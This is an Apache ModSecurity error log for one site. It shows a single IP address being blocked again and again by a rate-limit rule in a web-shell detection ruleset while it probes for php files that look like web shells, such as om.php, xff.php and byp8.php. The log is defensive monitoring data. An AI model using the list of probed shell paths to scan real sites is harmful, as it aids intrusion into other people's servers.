[Sun Apr 05 22:04:24.844429 2026] [:error] [pid 30921:tid 30943] [client 68.221.134.12:21239] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vdb.php"] [unique_id "adJr6GFGQVn8Q0ueB24vrgAAARQ"]
[Sun Apr 05 22:04:25.546139 2026] [:error] [pid 45409:tid 45430] [client 68.221.134.12:21281] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/om.php"] [unique_id "adJr6dHt_Oyw03gjCNgltAAAANM"]
[Sun Apr 05 22:04:26.093039 2026] [:error] [pid 45305:tid 45392] [client 68.221.134.12:21161] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/om.php"] [unique_id "adJr6ujDQjr7aWhjflBrrgAAAJU"]
[Sun Apr 05 22:04:26.643788 2026] [:error] [pid 45303:tid 45339] [client 68.221.134.12:21325] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/om.php"] [unique_id "adJr6rboQ9eViZ4hdnlXlAAAABY"]
[Sun Apr 05 22:04:27.185947 2026] [:error] [pid 45409:tid 45429] [client 68.221.134.12:21229] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/om.php"] [unique_id "adJr69Ht_Oyw03gjCNgluwAAANI"]
[Sun Apr 05 22:04:27.890745 2026] [:error] [pid 30921:tid 30937] [client 68.221.134.12:21166] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ox.php"] [unique_id "adJr62FGQVn8Q0ueB24vsAAAAQ4"]
[Sun Apr 05 22:04:28.455823 2026] [:error] [pid 45409:tid 45413] [client 68.221.134.12:21194] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ox.php"] [unique_id "adJr7NHt_Oyw03gjCNglwwAAAMI"]
[Sun Apr 05 22:04:29.024433 2026] [:error] [pid 45409:tid 45428] [client 68.221.134.12:21225] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ox.php"] [unique_id "adJr7dHt_Oyw03gjCNglyQAAANE"]
[Sun Apr 05 22:04:29.727724 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:21223] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ox.php"] [unique_id "adJr7dHt_Oyw03gjCNgl0AAAAMs"]
[Sun Apr 05 22:04:30.255121 2026] [:error] [pid 45409:tid 45428] [client 68.221.134.12:21216] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htto.php"] [unique_id "adJr7tHt_Oyw03gjCNgl1AAAANE"]
[Sun Apr 05 22:04:30.833714 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:21207] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htto.php"] [unique_id "adJr7tHt_Oyw03gjCNgl2QAAANc"]
[Sun Apr 05 22:04:31.311719 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:21352] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htto.php"] [unique_id "adJr79Ht_Oyw03gjCNgl3wAAANQ"]
[Sun Apr 05 22:04:31.875539 2026] [:error] [pid 45303:tid 45330] [client 68.221.134.12:21128] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htto.php"] [unique_id "adJr77boQ9eViZ4hdnlXoQAAAA0"]
[Sun Apr 05 22:04:32.429897 2026] [:error] [pid 45409:tid 45429] [client 68.221.134.12:21186] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2h.php"] [unique_id "adJr8NHt_Oyw03gjCNgl6QAAANI"]
[Sun Apr 05 22:04:32.940926 2026] [:error] [pid 45304:tid 45348] [client 68.221.134.12:21123] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2h.php"] [unique_id "adJr8A5jnqDKKovdRkklHAAAAEQ"]
[Sun Apr 05 22:04:33.435110 2026] [:error] [pid 45409:tid 45427] [client 68.221.134.12:21131] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2h.php"] [unique_id "adJr8dHt_Oyw03gjCNgl7QAAANA"]
[Sun Apr 05 22:04:33.971381 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:21282] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2h.php"] [unique_id "adJr8dHt_Oyw03gjCNgl8gAAAMs"]
[Sun Apr 05 22:04:34.490951 2026] [:error] [pid 45303:tid 45320] [client 68.221.134.12:21246] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "adJr8rboQ9eViZ4hdnlXqQAAAAM"]
[Sun Apr 05 22:04:34.985988 2026] [:error] [pid 45305:tid 45373] [client 68.221.134.12:21329] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "adJr8ujDQjr7aWhjflBr1wAAAII"]
[Sun Apr 05 22:04:35.464518 2026] [:error] [pid 45409:tid 45415] [client 68.221.134.12:21290] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "adJr89Ht_Oyw03gjCNgmBQAAAMQ"]
[Sun Apr 05 22:04:36.025820 2026] [:error] [pid 30921:tid 30936] [client 68.221.134.12:21215] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "adJr9GFGQVn8Q0ueB24vxQAAAQ0"]
[Sun Apr 05 22:04:36.580507 2026] [:error] [pid 45303:tid 45331] [client 68.221.134.12:21064] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dichku.php"] [unique_id "adJr9LboQ9eViZ4hdnlXrQAAAA4"]
[Sun Apr 05 22:04:37.126785 2026] [:error] [pid 45305:tid 45375] [client 68.221.134.12:21120] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dichku.php"] [unique_id "adJr9ejDQjr7aWhjflBr6wAAAIQ"]
[Sun Apr 05 22:04:37.641313 2026] [:error] [pid 45303:tid 45333] [client 68.221.134.12:21359] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dichku.php"] [unique_id "adJr9bboQ9eViZ4hdnlXrwAAABA"]
[Sun Apr 05 22:04:38.121166 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:21134] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dichku.php"] [unique_id "adJr9tHt_Oyw03gjCNgmFQAAANQ"]
[Sun Apr 05 22:04:38.658064 2026] [:error] [pid 45409:tid 45413] [client 68.221.134.12:21218] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "adJr9tHt_Oyw03gjCNgmGwAAAMI"]
[Sun Apr 05 22:04:39.147877 2026] [:error] [pid 45409:tid 45412] [client 68.221.134.12:21130] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "adJr99Ht_Oyw03gjCNgmIgAAAME"]
[Sun Apr 05 22:04:39.642549 2026] [:error] [pid 45303:tid 45323] [client 68.221.134.12:21361] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "adJr97boQ9eViZ4hdnlXsAAAAAY"]
[Sun Apr 05 22:04:40.163294 2026] [:error] [pid 45409:tid 45412] [client 68.221.134.12:21061] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "adJr-NHt_Oyw03gjCNgmKwAAAME"]
[Sun Apr 05 22:04:40.657548 2026] [:error] [pid 45409:tid 45427] [client 68.221.134.12:21213] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/store.php"] [unique_id "adJr-NHt_Oyw03gjCNgmLwAAANA"]
[Sun Apr 05 22:04:41.141585 2026] [:error] [pid 30921:tid 30925] [client 68.221.134.12:21211] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/store.php"] [unique_id "adJr-WFGQVn8Q0ueB24v0QAAAQI"]
[Sun Apr 05 22:04:41.638840 2026] [:error] [pid 45303:tid 45317] [client 68.221.134.12:21071] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/store.php"] [unique_id "adJr-bboQ9eViZ4hdnlXtQAAAAA"]
[Sun Apr 05 22:04:42.137209 2026] [:error] [pid 45409:tid 45430] [client 68.221.134.12:21127] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/store.php"] [unique_id "adJr-tHt_Oyw03gjCNgmNQAAANM"]
[Sun Apr 05 22:04:42.639138 2026] [:error] [pid 45304:tid 45364] [client 68.221.134.12:21286] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xenium4.php"] [unique_id "adJr-g5jnqDKKovdRkklLAAAAFQ"]
[Sun Apr 05 22:04:43.189589 2026] [:error] [pid 30921:tid 30924] [client 68.221.134.12:21192] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xenium4.php"] [unique_id "adJr-2FGQVn8Q0ueB24v2AAAAQE"]
[Sun Apr 05 22:04:43.759918 2026] [:error] [pid 30921:tid 30930] [client 68.221.134.12:21285] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xenium4.php"] [unique_id "adJr-2FGQVn8Q0ueB24v3QAAAQc"]
[Sun Apr 05 22:04:44.280936 2026] [:error] [pid 45304:tid 45353] [client 68.221.134.12:21279] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xenium4.php"] [unique_id "adJr_A5jnqDKKovdRkklMwAAAEk"]
[Sun Apr 05 22:04:44.862323 2026] [:error] [pid 45304:tid 45358] [client 68.221.134.12:21280] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "adJr_A5jnqDKKovdRkklOAAAAE4"]
[Sun Apr 05 22:04:45.364884 2026] [:error] [pid 30921:tid 30926] [client 68.221.134.12:21057] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "adJr_WFGQVn8Q0ueB24v4wAAAQM"]
[Sun Apr 05 22:04:45.894505 2026] [:error] [pid 45304:tid 45361] [client 68.221.134.12:21147] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "adJr_Q5jnqDKKovdRkklOgAAAFE"]
[Sun Apr 05 22:04:46.408317 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:21153] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "adJr_tHt_Oyw03gjCNgmOgAAANg"]
[Sun Apr 05 22:04:46.989164 2026] [:error] [pid 45409:tid 45419] [client 68.221.134.12:21301] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpyur.php"] [unique_id "adJr_tHt_Oyw03gjCNgmQAAAAMg"]
[Sun Apr 05 22:04:47.517252 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:21369] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpyur.php"] [unique_id "adJr_9Ht_Oyw03gjCNgmRQAAANg"]
[Sun Apr 05 22:04:48.043557 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:21183] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpyur.php"] [unique_id "adJsANHt_Oyw03gjCNgmSQAAAMs"]
[Sun Apr 05 22:04:48.532695 2026] [:error] [pid 45409:tid 45412] [client 68.221.134.12:21191] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpyur.php"] [unique_id "adJsANHt_Oyw03gjCNgmTQAAAME"]
[Sun Apr 05 22:04:49.032906 2026] [:error] [pid 45304:tid 45355] [client 68.221.134.12:21152] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum.php"] [unique_id "adJsAQ5jnqDKKovdRkklOwAAAEs"]
[Sun Apr 05 22:04:49.511459 2026] [:error] [pid 45303:tid 45341] [client 68.221.134.12:21304] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum.php"] [unique_id "adJsAbboQ9eViZ4hdnlXwAAAABg"]
[Sun Apr 05 22:04:49.993392 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:21197] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum.php"] [unique_id "adJsAdHt_Oyw03gjCNgmUwAAANc"]
[Sun Apr 05 22:04:50.507141 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:21302] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum.php"] [unique_id "adJsAtHt_Oyw03gjCNgmVgAAAMs"]
[Sun Apr 05 22:04:51.007836 2026] [:error] [pid 45303:tid 45319] [client 68.221.134.12:21114] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "adJsA7boQ9eViZ4hdnlXwwAAAAI"]
[Sun Apr 05 22:04:51.502900 2026] [:error] [pid 45409:tid 45412] [client 68.221.134.12:21209] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "adJsA9Ht_Oyw03gjCNgmWwAAAME"]
[Sun Apr 05 22:04:52.003172 2026] [:error] [pid 45409:tid 45430] [client 68.221.134.12:21133] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "adJsBNHt_Oyw03gjCNgmXgAAANM"]
[Sun Apr 05 22:04:52.489001 2026] [:error] [pid 45303:tid 45338] [client 68.221.134.12:21222] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "adJsBLboQ9eViZ4hdnlXxwAAABU"]
[Sun Apr 05 22:04:52.970948 2026] [:error] [pid 45303:tid 45322] [client 68.221.134.12:21155] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "adJsBLboQ9eViZ4hdnlXyQAAAAU"]
[Sun Apr 05 22:04:53.543654 2026] [:error] [pid 45303:tid 45318] [client 68.221.134.12:21226] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "adJsBbboQ9eViZ4hdnlXzAAAAAE"]
[Sun Apr 05 22:04:54.041746 2026] [:error] [pid 45304:tid 45346] [client 68.221.134.12:21150] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "adJsBg5jnqDKKovdRkklPwAAAEI"]
[Sun Apr 05 22:04:54.550736 2026] [:error] [pid 45305:tid 45374] [client 68.221.134.12:21499] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "adJsBujDQjr7aWhjflBr_QAAAIM"]
